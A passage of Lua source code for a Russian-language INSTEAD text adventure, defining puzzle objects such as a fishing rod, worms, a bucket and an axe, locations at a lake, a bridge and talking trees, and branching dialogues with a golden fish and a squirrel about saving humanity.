p [[Лопатой об камень? Придумай что-нибудь умнее.]];
return
end
return false;
end;
act = function(t)
if closed(t) then open(t) else close(t) end
end;
obj = { 'ground'};
}
close ('valun');
obj {
nam = 'chervi';
disp = fmt.img('gfx/inv/chervi.png')..'Черви';
inv = function()
clickmute = true;
if isusercozel then p 'Ты теперь травоядное ;)' snd.play('snd/sheep.ogg', 1) else p 'Эти черви, наверное, никогда не видели солнца, пока ты их не достал.' end
end;
used = function (n, z)
if z^'udsobr' or z^'udochka' then
p [[Логичнее воздействовать малым предметом на больший, не находишь? :)]]
return
end
return false;
end
}
obj { --собранная удочка, вторая итерация удочки
nam = 'udsobr';
disp = fmt.img('gfx/inv/sobr_udochka.png')..'Удочка';
inv = function()
clickmute = true;
if isusercozel then p 'Тебе она без надобности. Смотри, не поранься о снасти!' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Пора на рыбалку? Нужна наживка.' end
end;
used = function (n, z)
if z^'topor' then
p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально! А ведь ты уже собрал ее, остался всего шаг...]] return end
if z^'chervi' then
p [[Ты аккуратно нанизал червя на крючок.]]; wr = wr+1; test();
remove ('chervi')
replace ('udsobr', 'udochka_with_chervi')
return
end
return false;
end
}
obj { -- озеро
nam = 'lake';
dsc = function (r)
p [[Ты видишь {lake|озеро}, которое обросло камышом. Его {bereg|берег} как будто создан для рыбалки. ]] if seen('vedrofull','rightway') then p [[На берегу озера стоит {vedrofull|ведро с водой}.]] end
end;
act = function(s)
if not holeway then p "От озера веет чем-то таинственным. Водная гладь манит тебя... А что, если разгадка твоего появления здесь - как-то связана с ним?" else p [[А ведь как всё хорошо начиналось... Некоторые тайны лучше и не знать. Но теперь - только в путь...]] end
end;
used = function (s, w)
if (w^'udochka' or w^'udsobr') and firsttime then
p [[Ты помыл в озере удочку от пыли. Держать ее в руках стало приятнее.]] firsttime = false snd.play('snd/water_lake_udochka.ogg', 1) return
elseif (w^'udochka' or w^'udsobr') and secondtime then
p [[Ты второй раз окунул удочку в озеро. Она чиста до блеска.]] secondtime = false snd.play('snd/water_lake_udochka.ogg', 1) return
elseif (w^'udochka' or w^'udsobr') and thirdtime then
p [[Ты третий раз намочил удочку. Тебе что, заняться нечем?!]] thirdtime = false snd.play('snd/water_lake_udochka.ogg', 1) return
elseif w^'udochka' or w^'udsobr' then
p [[Ты уже помыл удочку много раз. Сделай что-нибудь другое.]] return
elseif (w^'udochka_with_chervi' and not vedrostand and not vedrowithwater ) then
p [[А куда ты собрался девать рыбу, когда словишь ее?]] return
elseif (w^'udochka_with_chervi' and not vedrostand ) then
p [[И удобно так рыбачить, держа в одной руке ведро, полное воды, а в другой удочку?]] return
elseif (w^'udochka_with_chervi' and vedrostand and frsttime ) then p[[Наконец-то! Ты закинул удочку в озеро. Через некоторое время тебе показалось, что поплавок задергался. Ты потянул за удочку, но выловил только листик какого-то ненужного тебе растения. Может, стоит попытаться снова? ]] frsttime = false snd.play('snd/zakinul.ogg', 1) wr=wr+1; test(); return
elseif (w^'udochka_with_chervi' and vedrostand and scndtime ) then p[[Ты второй раз закинул удочку. Долго сидел, выжидал. Наконец, увидел - клюет! Ты аккуратно, правильным движением подкосил удочку, и... снова неудача. Да что же такое? ]] scndtime = false snd.play('snd/zakinul.ogg', 1) wr=wr+1; test(); return
elseif (w^'udochka_with_chervi' and vedrostand and thrdtime ) then clickmute = true snd.play('snd/zakinul.ogg', 1) walk 'goldfishdlg' wr=wr+1; test(); return
elseif w^'key' and not brokenwithtopor then
p [[Глупо выбрасывать ключ, он еще пригодится.]] return
elseif w^'key' and brokenwithtopor then
p [[Ты выбросил ненужный теперь ключ в озеро...]] remove('key') snd.play('snd/zakinul.ogg', 1) return
elseif w^'vedrofull' then
p [[В ведре уже есть вода.]] return
elseif w^'vedro' then
p [[Аккуратно нагнувшись, чтобы не упасть, ты набрал в ведро воды из озера.]] vedrowithwater = true snd.play('snd/awaterlap.ogg', 1) if firstfill then wr = wr+1; test(); firstfill = false end
replace('vedro', 'vedrofull')
return
end
return false;
end
}
obj { -- ведро с водой.
nam = 'vedrofull';
act = function (k)
if not holeway then p [[Ух, порыбачим!]] else p [[Вот тебе и рыбалка...]] end
return
end;
used = function (n, z)
if z^'udochka' then
p [[Нельзя словить рыбку в ведре. Особенно, если на удочке нет снастей.]] return
elseif z^'udsobr' then
p [[Нельзя словить рыбку в ведре. Особенно, если ловить без наживки.]] return
elseif z^'udochka_with_chervi' then
p [[Нельзя словить рыбку в ведре. Особенно, если ее там нет.]];
return
end
return false;
end;
disp = fmt.img('gfx/inv/vedrofull.png')..'Ведро';
inv = function()
place('drinkplease');
pleasedrink = true;
end
}
obj {
nam = 'drinkplease';
dsc = function()
if pleasedrink and seen('lake') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink and seen('komod') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink and seen('dolina') and not stonebreak and not have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink and seen('dolina') and not stonebreak and have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink and seen('dolina') and stonebreak and not have('topor') then p [[^^Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink and seen('dolina') and stonebreak and have('topor') then p [[Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
if pleasedrink then p [[Не пей, братец, козленочком станешь :) Но {возможность} у тебя никто не отбирает.]] pleasedrink = false end
end;
act = function(s)
walk('kozel')
end
}
obj { -- дуб
nam = 'dub';
used = function (n, z)
if z^'topor' then
if ru then p [[И зачем?!]] end
if en then p [[And why?!]] end
if ua then p [[І навіщо?!]] end
return
elseif z^'fonarik' then
if ru then p [[Надо подойти поближе.]] end
if en then p [[It is necessary to come closer.]] end
if ua then p [[Треба підійти ближче.]] end
return
end
return false;
end;
act = function (k)
if ru then p [[Огромное такое дерево, на пол дороги. Наверное, оно очень старое...]]; end;
if en then p [[A huge tree on the half of the road. It’s probably very old...]]; end;
if ua then p [[Величезне таке дерево, на пів дороги. Напевно, воно дуже старе...]]; end;
return
end;
}
obj { -- удочка с нанизанным червем - третья итерация удочки
nam = 'udochka_with_chervi';
disp = fmt.img('gfx/inv/udochkawithchervi.png')..'Удочка';
inv = function()
clickmute = true;
if isusercozel then p 'Тебе она без надобности. Смотри, не поранься о снасти! И оставь червя в покое! Брр...' waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1) else p 'Ловись, рыбка, большая и маленькая!' end
end;
used = function (n, z)
if z^'topor' then
p [[Сломать единственную удочку, когда тебе угрожает смерть от голода? Оригинально! А ведь можно закинуть ее в озеро, и...]] return
end
return false;
end;
}
obj { -- берег озера
nam = 'bereg';
used = function (n, z)
if z^'lopata' then
p [[Ты попытался накопать здесь червей, но у тебя ничего не получилось. Земля слишком плотная, сбитая, как камень. Надо поискать другое место.]] return
elseif z^'vedro' then
p [[Если ты хочешь порыбачить, то сначала набери воды в ведро.]] return
elseif (z^'udochka_with_chervi' or z^'udochka' or z^'udsobr') then
p [[Бросить отличную удочку на берег? Зачем?]] return
elseif z^'vedrofull' then
p [[Ты поставил ведро на берегу озера.]] place('vedrofull', 'rightway') vedrostand = true wr = wr+1; test();
return
end
return false;
end;
act = function (k)
p [[На берегу лесного озера ты не нашел ничего интересного.]];
return
end;
}
obj {
nam = 'walkfish';
disp = 'Рыбка';
act = function (k) walk 'goldfishdlg' return end;
}
dlg {
nam = 'goldfishdlg'; -- Разговор с золотой рыбкой
noinv = true;
title = false;
pic = 'gfx/7.png';
enter = function()
deletebutton();
p [[Ты в третий раз закинул удочку. Волны озера разошлись в стороны, пропуская рыбу, которую ты так бесцеремонно вытащил на берег. Только когда она попала тебе в руки, ты понял, что рыбка-то не обычная, а золотая! И говорящая! Ты аккуратно снял крюк... ^ -- Кто же так с рыбками-то обращается? - золотая рыбка нервно и обижено смотрела на тебя своими мудрыми глазами, из-за ран, которые ты ей нанес. -- Так-так, так. И где же твой невод?]] snd.music 'mus/TheAngelsWeep.ogg' bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
end;
exit = function()
snd.music 'mus/Atlantis.ogg' bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
clickmute = true;
snd.play('snd/awaterplouffff.ogg');
createbutton();
end;
phr = { -- открыл диалог
{'Невод? Какой невод?', '-- Ты сказки в детстве читал? Старик был один, добрый, но старуху слушался... Пошел он однажды в море, закинул невод... один раз закинул, второй... А на третий словил меня. А я чудеса творить умею. Силы морские, да и всей Земли, подвластны мне. Не потому, что я царица морская, а потому, что у природы всё едино... Та история закончилась не очень хорошо. Хотя старик и не виноват ни в чем. Но вот сейчас я снова на берегу -- поэтому и спрашиваю -- где твой невод? Что за варварские методы нынче пошли? Рыба тоже чело... рыба. Рыба тоже живое существо.',
{'Ну... я... ээ... Заблудился я, в общем. Уснул дома, правда, спал плохо... Но когда открыл глаза - оказался здесь, в лесу. Не знаю, почему и каким образом перенесся сюда. Но выживать-то как-то надо. Нашел удочку и вот...', '-- Эх, парень. Не с того ты начал свое путешествие...',
-- Кстати, что с глазами, болезный? {'Не выспался...','Ну, это бывает.'}, -- sublevel 2
-- {'Да всё в порядке с глазами...','Да? Значит, это художнику надо руки оторвать.',
-- only = true; -- sublevel 3
-- {'Не надо, он хороший и старался!','Ладно!'},
-- {'Да, так ему и надо! Чтобы неповадно было халтурить.','Эх.'}
-- },
{'Какое путешествие?', '-- Земля умирает. Вы, люди, уничтожаете ее.',
{'Но...','-- Не спорь, когда с тобой говорит рыба, которой несколько сотен лет! ^ Планета гибнет, потому, что люди используют свой дар во вред себе же. Вы умеете делать удивительные вещи! А вместо этого воюете, загрязняете воздух, воду, да саму землю...',
{'И какое я имею к этому отношение?','-- Ты избран! Человечество загнало себя в тупик... Силы природы долго молчали, но сейчас они готовы сказать свое слово. Принять решение.',
{'О чем ты говоришь? Какое решение?','-- О том, необходим ли ваш вид. Природа погибнет, всё живое может пропасть навсегда, если мы не начнем защищать себя. Мы будем вынуждены это сделать.... Но. Мы решили дать еще один, последний шанс человеку. Докажи, что люди разумны. Что они высокоморальны. Пройди этот путь! Тебе придется нелегко, но знай - на кону судьба человечества.',
{'Какой путь? Где я?', '-- Ты в лесу. Но он не простой. Волшебство создано людьми. Не мы установили правила, но мы им подчиняемся. Многие из нас страдают.',
{'От чего?','-- Баланс сил нарушен. Зло есть лишь в мире людей... Но вы привнесли зло в мир природы. Ваши мифы начали менять нас, наши жизни. Вы очень нелепо воспринимаете это, как байки, как что-то абсурдное. А мы существуем, причем столько же, сколько и вы сами. Меняются поколение за поколением, а ваши представления о мире духов, мире природы, мире животных -- остаются первобытными. Да, вы пытаетесь показывать этими историями мораль, но кто-то при этом всё равно страдает. Так не должно быть. Впрочем... Об этом не рассказать. Ты все увидишь сам!',
{'Куда ты?','Мне пора. Мы еще встретимся. Помни -- ты должен творить добро. Только тогда обретешь успех. Когда море высохло, я вынуждена была жить в этом маленьком озере. Иначе же от вас, людей, просто не скрыться. Ты думаешь, тебе повезло, что поймал меня? Нет... Силы природы решили мою роль в этой истории. Как и твою. Путь -- неизбежен. Но его финал зависит только от тебя. Удачи тебе, добрый молодец. Ты лучший из своего народа, уж нам-то -- в лице птиц, животных и растений -- это известно: мы повсюду. Не подведи человечество. Помни - все твои поступки оцениваются и взвешиваются. До встречи.',
{'А как же я... Я голоден! Спаси! Накорми хоть! Я умру!!!','-- Ты можешь найти всё необходимое по пути. Поверь, никто не собирается тебя убивать. Слушай то, что подсказывает тебе сердце -- и найдешь выход. Я сделала кое-что для тебя. Теперь ты можешь продолжать идти вперед. Всё поймешь на месте. Удачи.', {'Рыбка!!!', function() holeway = true; remove('udochka_with_chervi') place('holeopened', 'leftway') p[[Ты не успел моргнуть и глазом, как рыбка плюхнулась в воду и умчалась прочь. "Я сделала кое-что для тебя" - сказала рыбка. Что она имела в виду?]] end };
}, -- закрыл десятую фразу
}, -- закрыл девятую фразу
}, -- закрыл восьмую фразу
}, -- закрыл седьмую фразу
}, -- закрыл шестую фразу
}, -- закрыл пятую фразу
}, -- закрыл четвертую фразу
}, -- закрыл третью фразу
}, -- закрыл вторую фразу
}, -- закрыл первую фразу
} -- закрыл диалог
} -- закрыл объект диалог
room {
nam = 'bridge'; -- локация с мостом
title = 'Мост';
enter = function(s, t)
snd.music 'mus/MiddleEarth.ogg'
if have('lestninv') then p [[Ты решил оставить лестницу. Она тяжелая, да и незачем таскать ее с собой.]] remove('lestninv') end
if wr == 20 and not fixed then wr = 19; end; -- опять подгонка прогресса под нужные цифры. ладно уж...
end;
exit = function()
afterriver = true;
fixed = true;
end;
pic = function(s)
if not have 'vorona' and voronaonmost and not voronainriver and not sobralapples then return 'gfx/11voronanamost.png' end;
if not have 'vorona' and voronaonmost and not voronainriver and sobralapples then return 'gfx/11voronanamostwithoutapples.png' end;
if not have 'vorona' and not voronaonmost and not voronainriver and not sobralapples then return 'gfx/11voronapodmost.png'; end;
if not have 'vorona' and not voronaonmost and not voronainriver and sobralapples then return 'gfx/11voronapodmostwithoutapples.png'; end;
if have 'vorona' and not voronainriver and not sobralapples then return 'gfx/11.png' end;
if have 'vorona' and not voronainriver and sobralapples then return 'gfx/11withoutapples.png' end;
if voronainriver and not sobralapples then return 'gfx/11.png' end;
if voronainriver and sobralapples then return 'gfx/11withoutapples.png' end;
end;
decor = function()
p [[Ты видишь {river|реку}, видишь {kto|мост}. ]];
if not voronainriver and have('vorona') and voronaonmost then p [[{podmost|Под мост?}]] end;
if not voronainriver and have('vorona') and not voronaonmost then p [[{onmost|На мост?}]] end;
if not voronainriver and not have('vorona') and voronaonmost then p [[{kto|На мосту} {vorona|ворона} сохнет.]] end;
if not voronainriver and not have('vorona') and not voronaonmost then p [[{takreka|Под мостом} {vorona|ворона} мокнет.]] end;
if voronainriver then p [[Здесь больше ничего нет. Ты сделал хорошее дело. Можно идти {@ walk threeways|дальше}.]] end;
if voronawasininv and not countedvorona then wr = wr+1; test(); countedvorona = true end;
if voronawasininv and not have('vorona') and not voronainriver then p [[Ты можешь идти {@ walk threeways|дальше} или подумать еще.]] end;
end;
obj = {'river', 'takreka', 'kto', 'onmost', 'podmost', 'vorona'};
}
room {
nam = 'trees';
title = 'Говорящие деревья';
enter = function() if waytohouseback then enable '#waytooutside' end;
if firstintrees then wr = wr+1; test(); soglasen = true end snd.music 'mus/LegendsOfTheRiver.ogg' if have 'key' then p [[Ты потерял ключ в траве... Он выпал, а ты и не заметил.]]; remove('key'); end
if not touchedkey and not belkaincremented then wr = wr+1; test(); belkaincremented = true end; -- если не касался дупла и не видел белку - при заходе к деревьям выравниваем прогресс. Да, костыльно. Но как умею(
end;
onexit = function(s, t)
if izrubilappletrees and not belkaseen and not t^'houseoutside' then wr = wr+4 test() end; -- компенсация прогресса, если изрубил деревья
if izrubilappletrees and belkaseen and not lestntaken and not t^'houseoutside' then wr = wr+3 test() end;
if izrubilappletrees and belkaseen and lestntaken and not t^'houseoutside' then wr = wr+2 test() end;
end;
pic = function()
if izrubilappletrees and not sobralapples then return 'gfx/12afteraxe.png' end;
if izrubilappletrees and sobralapples then return 'gfx/12afteraxewithoutapples.png' end;
if sobralapples then return 'gfx/12withlestn_withoutappl.png' end;
if not sobralapples and lestnicastand then return 'gfx/12withlestn_withappl.png' end;
if not sobralapples and not izrubilappletrees and soglasen and firstintrees then return 'gfx/12withapples.png' end;
if not sobralapples and not izrubilappletrees and not soglasen and firstintrees then return 'gfx/12withapples.png' end;
if not sobralapples and not izrubilappletrees and soglasen then return 'gfx/12withapples.png' end;
if not sobralapples and not izrubilappletrees and not soglasen then return 'gfx/12withapples_sad.png' end;
end;
decor = function()
p [[Ты видишь два {treesobj|дерева}.]]; if not izrubilappletrees then p [[Они живые!]] else p [[Они живые! И раненые...]] end; p [[Ты можешь пройти {walktobridge|дальше} или {youcantalk|поговорить} с ними.]]; if aftertalkwithtrees and not sobralapples then p [[Или {sobratapples|собрать} яблоки с деревьев.]]; if belkaishere then p [[Рядом с тобой стоит {belka|белка}!]] end; end;
if izrubilappletrees and not takedpoison then p [[Одно {takepoison|яблоко} упало, когда ты рубил деревья...]] end;
end;
way = { path {'#waytooutside','Идти за хижину','houseoutside'}:disable() };
}:with {'treesobj', 'walktobridge', 'youcantalk', 'sobratapples', 'belka', 'takepoison', 'waytooutside'}
obj {
nam = 'waytooutside';
};
obj {
nam = 'takepoison';
act = function()
take('poison_apple');
p [[Ты поднял яблоко...]];
takedpoison = true;
end;
}
obj {
nam = 'holeopened'; -- метка открытого прохода к мосту
}
obj {
nam = 'belka';
act = function()
if izrubilappletrees then p [[Белка увидела твои разъяренные глаза, топор в руках и побежала прочь.]] belkaishere = false end
if not izrubilappletrees and not touchedkey and not napugal then walk 'talkwithbelka2' end
if not izrubilappletrees and touchedkey and not napugal then walk 'talkwithbelka' end
if not izrubilappletrees and not touchedkey and napugal then walk 'talkwithbelka3' end
if not izrubilappletrees and touchedkey and napugal then walk 'talkwithbelka4' end
end;
used = function(n, z)
if z^'topor' then p [[Стоило тебе взмахнуть топором, как белка в ужасе убежала...]] belkaishere = false napugal = true end
end;
}
dlg {
nam = 'talkwithbelka';
pic = 'gfx/19.png';
noinv = true;
title = 'Белка';
enter = function()
p 'Что-то знакомое тебе показалось при виде этой белки. Где-то ты ее видел?^^ -- О, какие люди! И без фонарика?';
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
{'Т..ты? Это была ты?','-- А кто же еще? Я как раз дремала себе тихо, а тут в глаза луч! Я уж думала, всё, не жить мне больше, и не видеть белый свет.',
only = true;
{'Да ладно? Я сам испугался, когда ты выскочила!','-- Чего уж там. Так какими судьбами я понадобилась такому отважному рыцарю, как ты? *хихикает*',
{'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function()p 'Белка убежала, словно её никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end }
},
},
},
}, -- конец первого разветвления
{'Извини меня! Я не со зла. Я же не знал, что там можешь оказаться ты! Я бы не делал так!','-- Ой, оправдывается он. Говори уже, чего хотел? Помогу, если в моих силах.',
{'Помоги, белочка, хорошая. Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end }
},
},
},
}, -- конец второго разветвления
}
} -- Конец фразы
}
dlg {
nam = 'talkwithbelka2'; -- Диалог, если не заглядывал в дупло и не встречался с белкой в первый раз
pic = 'gfx/19.png';
noinv = true;
title = 'Белка';
enter = function()
p 'Ты подумал, что вот, теперь и к тебе пришла белочка...^ -- Ну привет, привет. Отважный герой идет спасать мир. Старая история. Только на этот раз все взаправду.';
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
{'Ты - говорящая белка?','-- Вот почему это тебя так удивляет? Можно подумать, вы, люди, между собой не общаетесь... Этот лес - волшебный. Здесь работают совсем иные законы. Скоро ты начнешь это понимать. Как и свою миссию. Смотри, чтобы не было поздно!',
only = true;
{'Да-да, меня золотая рыбка уже просветила... Почему я? Почему один человек решает всё?','-- Ты спрашиваешь это у белки? Таков закон, смирись. Так зачем я понадобилась тебе? Деревья не свистят по пустякам.',
{'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более... спасти человечество! Это не мелочь какая-нибудь... Да и деревья заслуживают лучшей участи. Вы, люди, для того и созданы, чтобы помогать природе. А не разрушать ее...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end }
},
},
},
}, -- конец первого разветвления
{'Поверь, я всё понимаю. Я хочу справиться, сделать всё хорошо. Но почему всё зависит от меня одного?','-- Друг, ты спрашиваешь это у белки. Таков закон - это всё, что я знаю. Скажи, в чем нуждаешься - и если смогу - помогу.',
{'Да, помоги, белочка, хорошая! Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end }
},
},
},
}, -- конец второго разветвления
}
} -- Конец фразы
}
dlg {
nam = 'talkwithbelka3'; -- Диалог, если замахнулся топором на белку, но не заглядывал перед этим в дупло
pic = 'gfx/19.png';
noinv = true;
title = 'Белка';
enter = function()
p 'Белка осторожно приблизилась к тебе...^ -- Ты знаешь, что нехорошо махать топором перед беззащитной белкой? Вот же ж народ-то пошел, а? Чего тебе?';
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
{'Ты - говорящая белка?','-- Вот почему это тебя так удивляет? Можно подумать, вы, люди, между собой не общаетесь... Этот лес - волшебный. Здесь работают совсем иные законы. Скоро ты начнешь это понимать. Как и свою миссию. Смотри, чтобы не было поздно!',
only = true;
{'Да-да, меня золотая рыбка уже просветила... Почему я? Почему один человек решает всё?','-- Ты спрашиваешь это у белки? Таков закон, смирись. Так зачем я понадобилась тебе? Деревья не свистят по пустякам.',
{'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более... спасти человечество! Это не мелочь какая-нибудь... Да и деревья заслуживают лучшей участи. Вы, люди, для того и созданы, чтобы помогать природе. А не разрушать ее...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end }
},
},
},
}, -- конец первого разветвления
{'Поверь, я всё понимаю. Я хочу справиться, сделать всё хорошо. Но почему всё зависит от меня одного?','-- Друг, ты спрашиваешь это у белки. Таков закон - это всё, что я знаю. Скажи, в чём нуждаешься - и если смогу - помогу.',
{'Да, помоги, белочка, хорошая! Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true walk 'trees' end }
},
},
},
}, -- конец второго разветвления
}
} -- Конец фразы
}
dlg {
nam = 'talkwithbelka4'; -- Диалог, если замахнулся топором на белку, и заглядывал перед этим в дупло
pic = 'gfx/19.png';
noinv = true;
title = 'Белка';
enter = function()
p 'Белка осторожно приблизилась к тебе...^^ -- О, какие люди! И без фонарика? Ты знаешь, что нехорошо махать топором перед беззащитной белкой? Вот же ж народ-то пошел, а? Чего тебе?';
bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name)
deletebutton();
end;
exit = function()
bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name)
createbutton();
end;
phr = { -- Начало фразы
{'Т..ты? Это была ты?','-- А кто же еще? Я как раз дремала себе тихо, а тут в глаза луч! Я уж думала, всё, не жить мне больше, и не видеть белый свет.',
only = true;
{'Да ладно? Я сам испугался, когда ты выскочила!','-- Чего уж там. Так какими судьбами я понадобилась такому отважному рыцарю, как ты? *хихикает*',
{'Слушай, помоги, а? Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Ладно, не нагнетай! Сам боюсь. Итак, что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function()p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end }
},
},
},
}, -- конец первого разветвления
{'Извини меня! Я не со зла. Я же не знал, что там можешь оказаться ты! Я бы не делал так!','-- Ой, оправдывается он. Говори уже, чего хотел? Помогу, если в моих силах.',
{'Помоги, белочка, хорошая. Мне надо продолжать путь, но деревья отказываются пропускать, если не соберу их яблоки. Другого прохода нет, а яблоки я не достаю... Мне нужно на что-то стать, чтобы подняться повыше. Но что я могу найти здесь, в лесу...','-- Ой. Так уж и быть, помогу тебе. Тем более, все наслышаны о миссии. Спасти человечество! Это не мелочь какая-нибудь...',
{'Почему все знают больше, чем я?','-- А как ты хотел? Только трудный путь покажет, на что ты способен. А ведь на тебя смотрит весь мир природы!',
{'Знаю. Самому страшно. Но что ты говорила о помощи?','-- Посмотри за хижиной. Там есть то, что ты ищешь.',
{'Спасибо, но...', function() p 'Белка убежала, словно ее никогда и не было.' waytohouseback = true belkaishere = false onceopened = true belkaseen = true wr = wr+1; test(); walk 'trees' end }
},
},
},
}, -- конец второго разветвления
}
} -- Конец фразы
}
obj {
nam = 'топор'; -- топор на сцене
seen = false;
dsc = function(s)
if not s.seen then
uvideltopor = true;
if ru then return p'В траве {что-то} лежит.'; end;
if en then return p'There is {something} in the grass.' end;
if ua then return p'У траві {щось} лежить.'; end;
else
if ru then return p 'В траве ты увидел {топор|топор}!'; end;
if en then return p 'You saw an {топор|axe} in the grass!' end;
if ua then return p 'У траві ти помітив {топор|сокиру}!' end;
end
end;
act = function(s)
if s.seen then
remove ('топор');
touchedtopor = true;
take 'topor'; if not touchedkey then wr = wr+1; test();
if ru then return p'Ты взял топор.'; end;
if en then return p'You took an axe.'; end;
if ua then return p'Ты взяв сокиру.'; end;
end;
else
s.seen = true;
if ru then return p'Гм... Это же топор!'; end;
if en then return p'Um. This is an axe!'; end;
if ua then return p'Ой, так це ж сокира!'; end;
end
end;
};
obj {
nam = 'topor'; -- топор в инвентаре
disp = function()
if ru then return fmt.img('gfx/inv/topor.png')..'Топор'; end;
if en then return fmt.img('gfx/inv/topor.png')..'Axe'; end;
if ua then return fmt.img('gfx/inv/topor.png')..'Сокира'; end;
end;
inv = function()
clickmute = true;
if isusercozel and not removetopor then
waycounter = waycounter+1 snd.play('snd/sheep.ogg', 1)
